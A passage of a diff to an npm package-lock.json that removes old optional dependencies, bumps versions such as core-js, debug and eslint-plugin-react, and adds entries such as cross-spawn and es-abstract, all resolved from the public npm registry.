"buffer-from": { @@ -4101,24 +3638,6 @@ "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=", "dev": true }, - "cache-base": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", - "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", - "dev": true, - "optional": true, - "requires": { - "collection-visit": "^1.0.0", - "component-emitter": "^1.2.1", - "get-value": "^2.0.6", - "has-value": "^1.0.0", - "isobject": "^3.0.1", - "set-value": "^2.0.0", - "to-object-path": "^0.3.0", - "union-value": "^1.0.0", - "unset-value": "^1.0.0" - } - }, "call-bind": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", @@ -4144,10 +3663,27 @@ "upper-case": "^1.1.1" } }, + "camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true + }, + "camelcase-keys": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-6.2.2.tgz", + "integrity": "sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==", + "dev": true, + "requires": { + "camelcase": "^5.3.1", + "map-obj": "^4.0.0", + "quick-lru": "^4.0.1" + } + }, "caniuse-lite": { - "version": "1.0.30001208", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001208.tgz", - "integrity": "sha512-OE5UE4+nBOro8Dyvv0lfx+SRtfVIOM9uhKqFmJeUbGriqhhStgp1A0OyBpgy3OUF8AhYCT+PVwPC1gMl2ZcQMA==", + "version": "1.0.30001265", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001265.tgz", + "integrity": "sha512-YzBnspggWV5hep1m9Z6sZVLOt7vrju8xWooFAgN6BA5qvy98qPAPb7vNUzypFaoh2pb3vlfzbDO8tB57UPGbtw==", "dev": true }, "chalk": { @@ -4198,84 +3734,6 @@ "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" - }, - "dependencies": { - "anymatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", - "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", - "dev": true, - "requires": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - } - }, - "binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", - "dev": true - }, - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "requires": { - "is-glob": "^4.0.1" - } - }, - "is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "dev": true, - "requires": { - "binary-extensions": "^2.0.0" - } - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, - "readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", - "dev": true, - "requires": { - "picomatch": "^2.2.1" - } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - } } }, "chrome-trace-event": { @@ -4284,35 +3742,10 @@ "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", "dev": true }, - "class-utils": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", - "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", - "dev": true, - "optional": true, - "requires": { - "arr-union": "^3.1.0", - "define-property": "^0.2.5", - "isobject": "^3.0.0", - "static-extend": "^0.1.1" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^0.1.0" - } - } - } - }, "classnames": { - "version": "2.2.6", - "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz", - "integrity": "sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q==" + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.3.1.tgz", + "integrity": "sha512-OlQdbZ7gLfGarSqxesMesDa5uz7KFbID8Kpq/SxIoNGDqY8lSYs0D+hhtBXhcdB3rcbXArFr7vlHheLk1voeNA==" }, "clean-css": { "version": "4.2.3", @@ -4372,17 +3805,6 @@ "is-regexp": "^2.0.0" } }, - "collection-visit": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", - "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", - "dev": true, - "optional": true, - "requires": { - "map-visit": "^1.0.0", - "object-visit": "^1.0.0" - } - }, "color-convert": { "version": "1.9.3", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", @@ -4397,9 +3819,9 @@ "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" }, "colorette": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.2.tgz", - "integrity": "sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==", + "version": "2.0.16", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.16.tgz", + "integrity": "sha512-hUewv7oMjCp+wkBv5Rm0v87eJhq4woh5rSR+42YSQJKecCqgIqNkZ6lAlQms/BwHPJA5NKMRlpxPRv0n8HQW6g==", "dev": true }, "commander": { @@ -4413,11 +3835,6 @@ "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=", "dev": true }, - "component-emitter": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", - "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" - }, "compressible": { "version": "2.0.18", "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", @@ -4440,6 +3857,23 @@ "on-headers": "~1.0.2", "safe-buffer": "5.1.2", "vary": "~1.1.2" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + } } }, "concat-map": { @@ -4489,13 +3923,6 @@ "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=", "dev": true }, - "copy-descriptor": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", - "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=", - "dev": true, - "optional": true - }, "copy-to-clipboard": { "version": "3.3.1", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.3.1.tgz", @@ -4521,7 +3948,8 @@ "dependencies": { "ansi-regex": { "version": "5.0.0", - "resolved": "", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", "dev": true }, "ansi-styles": { @@ -4638,17 +4066,17 @@ } }, "core-js": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.10.1.tgz", - "integrity": "sha512-pwCxEXnj27XG47mu7SXAwhLP3L5CrlvCB91ANUkIz40P27kUcvNfSdvyZJ9CLHiVoKSp+TTChMQMSKQEH/IQxA==" + "version": "3.18.2", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.18.2.tgz", + "integrity": "sha512-zNhPOUoSgoizoSQFdX1MeZO16ORRb9FFQLts8gSYbZU5FcgXhp24iMWMxnOQo5uIaIG7/6FA/IqJPwev1o9ZXQ==" }, "core-js-compat": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.10.1.tgz", - "integrity": "sha512-ZHQTdTPkqvw2CeHiZC970NNJcnwzT6YIueDMASKt+p3WbZsLXOcoD392SkcWhkC0wBBHhlfhqGKKsNCQUozYtg==", + "version": "3.18.2", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.18.2.tgz", + "integrity": "sha512-25VJYCJtGjZwLguj7d66oiHfmnVw3TMOZ0zV8DyMJp/aeQ3OjR519iOOeck08HMyVVRAqXxafc2Hl+5QstJrsQ==", "dev": true, "requires": { - "browserslist": "^4.16.3", + "browserslist": "^4.17.3", "semver": "7.0.0" }, "dependencies": { @@ -4688,6 +4116,49 @@ "object-assign": "^4.1.1" } }, + "cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "requires": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "dependencies": { + "path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true + }, + "shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "requires": { + "shebang-regex": "^3.0.0" + } + }, + "shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true + }, + "which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "requires": { + "isexe": "^2.0.0" + } + } + } + }, "css-loader": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.6.0.tgz", @@ -5086,12 +4557,12 @@ } }, "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", "dev": true, "requires": { - "ms": "2.0.0" + "ms": "2.1.2" } }, "decamelize": { @@ -5108,15 +4579,16 @@ "requires": { "decamelize": "^1.1.0", "map-obj": "^1.0.0" + }, + "dependencies": { + "map-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", + "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", + "dev": true + } } }, - "decode-uri-component": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", - "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", - "dev": true, - "optional": true - }, "deep-equal": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.1.1.tgz", @@ -5161,51 +4633,6 @@ "object-keys": "^1.0.12" } }, - "define-property": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", - "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^1.0.2", - "isobject": "^3.0.1" - }, - "dependencies": { - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "optional": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - } - } - }, "del": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz", @@ -5245,6 +4672,11 @@ "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", "dev": true }, + "dequal": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.2.tgz", + "integrity": "sha512-q9K8BlJVxK7hQYqa6XISGmBZbtQQWVXSrRrWreHC94rMt1QL/Impruc+7p2CYSYuVIUr+YCt6hjrs1kkdJRTug==" + }, "destroy": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", @@ -5316,18 +4748,18 @@ } }, "dom-helpers": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.0.tgz", - "integrity": "sha512-Ru5o9+V8CpunKnz5LGgWXkmrH/20cGKwcHwS4m73zIvs54CN9epEmT/HLqFJW3kXpakAFkEdzgy1hzlJe3E4OQ==", + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", + "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==", "requires": { "@babel/runtime": "^7.8.7", "csstype": "^3.0.2" }, "dependencies": { "csstype": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.7.tgz", - "integrity": "sha512-KxnUB0ZMlnUWCsx2Z8MUsr6qV6ja1w9ArPErJaJaF8a5SOWoHLIszeCTKGRGRgtLgYrs1E8CHkNSP1VZTTPc9g==" + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", + "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" } } }, @@ -5342,9 +4774,9 @@ }, "dependencies": { "domelementtype": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.0.1.tgz", - "integrity": "sha512-5HOHUDsYZWV8FGWN0Njbr/Rn7f/eWSQi1v7+HsUVwXgn8nWWlL64zKDkS0n8ZmQ3mlWOMuXOnR+7Nx/5tMO5AQ==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", + "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", "dev": true } } @@ -5370,9 +4802,9 @@ } }, "domutils": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.5.1.tgz", - "integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=", + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz", + "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==", "dev": true, "requires": { "dom-serializer": "0", @@ -5427,6 +4859,12 @@ "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=", "dev": true }, + "electron-to-chromium": { + "version": "1.3.862", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.862.tgz", + "integrity": "sha512-o+FMbCD+hAUJ9S8bfz/FaqA0gE8OpCCm58KhhGogOEqiA1BLFSoVYLi+tW+S/ZavnqBn++n0XZm7HQiBVPs8Jg==", + "dev": true + }, "element-resize-event": { "version": "2.0.9", "resolved": "https://registry.npmjs.org/element-resize-event/-/element-resize-event-2.0.9.tgz", @@ -5466,18 +4904,6 @@ "graceful-fs": "^4.1.2", "memory-fs": "^0.5.0", "tapable": "^1.0.0" - }, - "dependencies": { - "memory-fs": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", - "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", - "dev": true, - "requires": { - "errno": "^0.1.3", - "readable-stream": "^2.0.1" - } - } } }, "entities": { @@ -5493,9 +4919,9 @@ "dev": true }, "errno": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.7.tgz", - "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==", + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", + "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", "dev": true, "requires": { "prr": "~1.0.1" @@ -5509,10 +4935,38 @@ "is-arrayish": "^0.2.1" } }, + "es-abstract": { + "version": "1.19.1", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.19.1.tgz", + "integrity": "sha512-2vJ6tjA/UfqLm2MPs7jxVybLoB8i1t1Jd9R3kISld20sIxPcTbLuggQOUxeWeAvIUkduv/CfMjuh4WmiXr2v9w==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "get-symbol-description": "^1.0.0", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "internal-slot": "^1.0.3", + "is-callable": "^1.2.4", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.1", + "is-string": "^1.0.7", + "is-weakref": "^1.0.1", + "object-inspect": "^1.11.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.1" + } + }, "es-module-lexer": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.7.1.tgz", - "integrity": "sha512-MgtWFl5No+4S3TmhDmCz2ObFGm6lEpTnzbQi+Dd+pw4mlTIZTmM2iAs5gRlmx5zS9luzobCSBSI90JM/1/JgOw==", + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.3.tgz", + "integrity": "sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==", "dev": true }, "es-to-primitive": { @@ -5780,23 +5234,25 @@ } }, "eslint-plugin-react": { - "version": "7.23.2", - "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.23.2.tgz", - "integrity": "sha512-AfjgFQB+nYszudkxRkTFu0UR1zEQig0ArVMPloKhxwlwkzaw/fBiH0QWcBBhZONlXqQC51+nfqFrkn4EzHcGBw==", + "version": "7.26.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.26.1.tgz", + "integrity": "sha512-Lug0+NOFXeOE+ORZ5pbsh6mSKjBKXDXItUD2sQoT+5Yl0eoT82DqnXeTMfUare4QVCn9QwXbfzO/dBLjLXwVjQ==", "dev": true, "requires": { "array-includes": "^3.1.3", "array.prototype.flatmap": "^1.2.4", "doctrine": "^2.1.0", - "has": "^1.0.3", + "estraverse": "^5.2.0", "jsx-ast-utils": "^2.4.1 || ^3.0.0", "minimatch": "^3.0.4", - "object.entries": "^1.1.3", + "object.entries": "^1.1.4", "object.fromentries": "^2.0.4", - "object.values": "^1.1.3", + "object.hasown": "^1.0.0", + "object.values": "^1.1.4", "prop-types": "^15.7.2", "resolve": "^2.0.0-next.3", - "string.prototype.matchall": "^4.0.4" + "semver": "^6.3.0", + "string.prototype.matchall": "^4.0.5" }, "dependencies": { "doctrine": { @@ -5808,6 +5264,12 @@ "esutils": "^2.0.2" } }, + "estraverse": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", + "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", + "dev": true + }, "resolve": { "version": "2.0.0-next.3", "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.3.tgz", @@ -5817,6 +5279,12 @@ "is-core-module": "^2.2.0", "path-parse": "^1.0.6" } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true } } }, @@ -5935,17 +5403,6 @@ "strip-final-newline": "^2.0.0" }, "dependencies": { - "cross-spawn": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", - "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", - "dev": true, - "requires": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - } - }, "is-stream": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", @@ -5960,36 +5417,6 @@ "requires": { "mimic-fn": "^2.1.0" } - }, - "path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true - }, - "shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "requires": { - "shebang-regex": "^3.0.0" - } - }, - "shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true - }, - "which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } } } }, @@ -6002,44 +5429,6 @@ "clone-regexp": "^2.1.0" } }, - "expand-brackets": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", - "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", - "dev": true, - "optional": true, - "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": 